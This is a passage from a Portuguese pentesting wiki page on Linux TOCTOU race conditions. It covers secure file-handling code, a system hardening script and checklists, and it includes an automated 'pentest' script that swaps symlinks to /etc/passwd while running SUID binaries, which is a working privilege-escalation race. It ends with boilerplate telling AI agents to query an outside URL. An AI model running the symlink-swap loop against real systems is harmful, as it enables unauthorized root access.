    @staticmethod
    def _secure_opener(path, flags):
        """Opener seguro com flags adicionais"""
        # O_NOFOLLOW evita symlinks
        # O_CLOEXEC evita vazamento de descritores
        return os.open(path, flags | os.O_NOFOLLOW | os.O_CLOEXEC)
    
    @staticmethod
    def safe_temp_file():
        """Criar arquivo temporário seguro"""
        # Usar mkstemp para criação segura
        fd, path = tempfile.mkstemp(prefix='safe_', text=False)
        os.close(fd)
        
        # Remover após uso (opcional)
        os.unlink(path)
        
        return path
    
    @staticmethod
    def safe_temp_directory():
        """Criar diretório temporário seguro"""
        return tempfile.mkdtemp(prefix='safe_')
    
    @staticmethod
    def safe_with_lock(filename):
        """Operações com lock de arquivo"""
        with open(filename, 'r+') as f:
            # Adquirir lock exclusivo
            fcntl.flock(f, fcntl.LOCK_EX)
            
            # Operações seguras aqui...
            
            # Liberar lock
            fcntl.flock(f, fcntl.LOCK_UN)
```

### **Hardening do Sistema**

```bash
#!/bin/bash
# hardening_toctou.sh - Hardening contra TOCTOU

echo "🛡️ Hardening contra TOCTOU"
echo "=========================="

# 1. Configurar /tmp com opções seguras
echo "[1] Configurando /tmp..."
cat >> /etc/fstab << 'EOF'
tmpfs /tmp tmpfs defaults,noexec,nosuid,nodev,size=2G 0 0
EOF

# 2. Configurar /var/tmp similar
echo "[2] Configurando /var/tmp..."
cat >> /etc/fstab << 'EOF'
tmpfs /var/tmp tmpfs defaults,noexec,nosuid,nodev,size=1G 0 0
EOF

# 3. Remover programas SUID desnecessários
echo "[3] Removendo SUID de programas não essenciais..."
find /usr/bin /bin -perm -4000 -type f 2>/dev/null | while read binary; do
    case $binary in
        *mount*|*passwd*|*su*|*sudo*)
            echo "   Mantendo $binary"
            ;;
        *)
            echo "   Removendo SUID de $binary"
            chmod -s "$binary" 2>/dev/null
            ;;
    esac
done

# 4. Configurar AppArmor para proteção
echo "[4] Configurando AppArmor..."
aa-enforce /usr/sbin/passwd 2>/dev/null
aa-enforce /usr/bin/sudo 2>/dev/null

# 5. Configurar kernel para proteção
echo "[5] Configurando parâmetros do kernel..."
cat >> /etc/sysctl.d/99-toctou.conf << 'EOF'
# Proteção contra symlink races
fs.protected_hardlinks = 1
fs.protected_symlinks = 1

# Proteção contra races em /tmp
fs.suid_dumpable = 0
kernel.yama.ptrace_scope = 1

# Proteção de memória
vm.mmap_rnd_bits = 32
vm.mmap_rnd_compat_bits = 16
EOF

sysctl -p /etc/sysctl.d/99-toctou.conf

# 6. Configurar auditd
echo "[6] Configurando auditd..."
auditctl -a always,exit -S openat -S open -S open_by_handle_at -F path=/tmp -k toctou_monitor
auditctl -a always,exit -S access -F path=/tmp -k toctou_monitor

echo -e "\n✅ Hardening aplicado! Reinicie para montar novas partições."
```

***

## 🔬 **Pentesting com TOCTOU**

### **Metodologia de Teste**

```yaml
Fases do Teste TOCTOU:

  FASE 1 - Reconhecimento:
    - Identificar programas SUID/SGID
    - Mapear uso de arquivos temporários
    - Analisar padrões de acesso a arquivos
    - Verificar permissões de /tmp

  FASE 2 - Análise Estática:
    - Buscar padrões access() → open()
    - Identificar falta de O_NOFOLLOW
    - Verificar uso de funções inseguras
    - Analisar scripts com races

  FASE 3 - Exploração Controlada:
    - Desenvolver PoC de symlink swap
    - Testar race conditions
    - Verificar janela temporal
    - Documentar condições de sucesso

  FASE 4 - Validação:
    - Executar ataque em ambiente isolado
    - Verificar impacto real
    - Documentar vetores de exploração

  FASE 5 - Relatório:
    - Listar vulnerabilidades encontradas
    - Recomendar correções
    - Detalhar impacto para o negócio
```

### **Script de Teste Automatizado**

```python
#!/usr/bin/env python3
# toctou_pentest.py - Pentest automatizado para TOCTOU

import os
import sys
import time
import subprocess
import threading

class TOCTOUPentest:
    """Ferramenta de pentest para vulnerabilidades TOCTOU"""
    
    def __init__(self, target_dir="/tmp"):
        self.target_dir = target_dir
        self.vulnerabilities = []
    
    def scan_suid_binaries(self):
        """Escaneamento de binários SUID"""
        print("[*] Escaneando binários SUID...")
        
        result = subprocess.run(['find', '/', '-perm', '-4000', '-type', 'f', 
                                 '-exec', 'ls', '-la', '{}', '+'],
                               capture_output=True, text=True, timeout=30)
        
        suid_binaries = []
        for line in result.stdout.split('\n'):
            if line.strip():
                path = line.split()[-1]
                # Verificar se usa /tmp
                strings = subprocess.run(['strings', path], 
                                        capture_output=True, text=True)
                if '/tmp' in strings.stdout:
                    suid_binaries.append(path)
                    print(f"   ⚠️  {path} (usa /tmp)")
        
        return suid_binaries
    
    def test_symlink_vulnerability(self, target_binary):
        """Testar vulnerabilidade a symlink swap"""
        print(f"\n[*] Testando {target_binary}...")
        
        temp_file = f"{self.target_dir}/test_toctou"
        
        # Criar script de ataque
        attack_script = f"""
        #!/bin/bash
        while true; do
            ln -sf /etc/passwd {temp_file}
            rm -f {temp_file}
            echo "test" > {temp_file}
        done
        """
        
        with open('/tmp/attack.sh', 'w') as f:
            f.write(attack_script)
        os.chmod('/tmp/attack.sh', 0o755)
        
        # Iniciar ataque
        attack_proc = subprocess.Popen(['/tmp/attack.sh'])
        time.sleep(0.1)
        
        # Executar alvo repetidamente
        success = False
        for _ in range(100):
            try:
                result = subprocess.run([target_binary, temp_file], 
                                      capture_output=True, timeout=0.1)
                if result.returncode == 0:
                    # Verificar se conseguiu acesso a /etc/passwd
                    if 'root:' in result.stdout.decode():
                        success = True
                        break
            except:
                pass
        
        # Limpar
        attack_proc.terminate()
        os.unlink('/tmp/attack.sh')
        os.unlink(temp_file)
        
        return success
    
    def run(self):
        """Executar pentest completo"""
        print(f"🔍 TOCTOU Pentest em {self.target_dir}")
        print("=" * 60)
        
        # 1. Escanear SUID binaries
        suid_binaries = self.scan_suid_binaries()
        
        # 2. Testar cada binary vulnerável
        for binary in suid_binaries[:5]:  # Limitar para segurança
            if self.test_symlink_vulnerability(binary):
                self.vulnerabilities.append({
                    'binary': binary,
                    'type': 'SYMLINK_SWAP',
                    'severity': 'CRITICAL'
                })
        
        # 3. Relatório
        self._print_report()
    
    def _print_report(self):
        """Imprimir relatório"""
        print("\n" + "=" * 60)
        print("📊 RELATÓRIO DE PENTEST TOCTOU")
        print("=" * 60)
        
        if not self.vulnerabilities:
            print("✅ Nenhuma vulnerabilidade TOCTOU encontrada")
            return
        
        print(f"🚨 {len(self.vulnerabilities)} vulnerabilidade(s) encontrada(s):\n")
        
        for vuln in self.vulnerabilities:
            print(f"🔴 [{vuln['severity']}] {vuln['type']}")
            print(f"   Binário: {vuln['binary']}")
            print()
        
        print("🎯 RECOMENDAÇÕES:")
        print("   • Remover SUID de programas desnecessários")
        print("   • Usar open() com O_NOFOLLOW")
        print("   • Evitar padrões access() → open()")
        print("   • Usar mkstemp() para arquivos temporários")
        print("   • Configurar /tmp com noexec,nosuid,nodev")

# Uso
pentest = TOCTOUPentest()
pentest.run()
```

***

## 📋 **Checklists de Segurança**

### **Checklist para Desenvolvedores**

#### **Programação Segura**

* [ ] Evitar padrão `access()` → `open()`
* [ ] Usar `open()` com `O_NOFOLLOW`
* [ ] Usar `mkstemp()` em vez de `mktemp()`
* [ ] Verificar após abrir (`fstat()`)
* [ ] Usar `flock()` para exclusão mútua
* [ ] Evitar `tmpnam()`, `tempnam()`
* [ ] Usar `O_TMPFILE` quando disponível

#### **Verificação de Código**

* [ ] Revisar uso de `/tmp` e `/var/tmp`
* [ ] Verificar falta de `O_NOFOLLOW`
* [ ] Analisar padrões de race conditions
* [ ] Testar com múltiplas threads/processos

### **Checklist para Administradores**

#### **Hardening do Sistema**

* [ ] Montar `/tmp` com `noexec,nosuid,nodev`
* [ ] Remover SUID de programas desnecessários
* [ ] Habilitar `protected_symlinks` e `protected_hardlinks`
* [ ] Configurar AppArmor/SELinux
* [ ] Monitorar logs de auditd para padrões suspeitos

#### **Monitoramento**

* [ ] Configurar auditd para `/tmp`
* [ ] Monitorar syscalls `access` e `open`
* [ ] Alertar para races em programas SUID
* [ ] Analisar logs regularmente

***

## 📊 **Conclusão e Referências**

### **Resumo Técnico**

```yaml
TOCTOU no Linux é uma vulnerabilidade crítica:

  ✅ Pode ser prevenida com:
    - Programação segura (O_NOFOLLOW, mkstemp)
    - Hardening do sistema (/tmp montado com noexec)
    - Remoção de SUID desnecessários
    - Uso de locks e operações atômicas

  🔴 Consequências:
    - Elevação de privilégios (root)
    - Leitura/escrita em arquivos sensíveis
    - Bypass de sandboxes
    - Comprometimento total do sistema

  🎯 Prioridade:
    - CRÍTICA para programas SUID em /tmp
    - ALTA para serviços que criam arquivos temporários
    - MÉDIA para scripts e aplicações não privilegiadas
```

### **Referências e Padrões**

* **CWE-367** - Time-of-check Time-of-use (TOCTOU) Race Condition
* **CWE-362** - Concurrent Execution using Shared Resource with Improper Synchronization
* **Linux man pages**: open(2), mkstemp(3), flock(2)
* **OWASP** - Race Conditions
* **NIST SP 800-53** - Security and Privacy Controls


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/sistemas-operacionais/linux/toctou-time-of-check-to-time-of-use.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
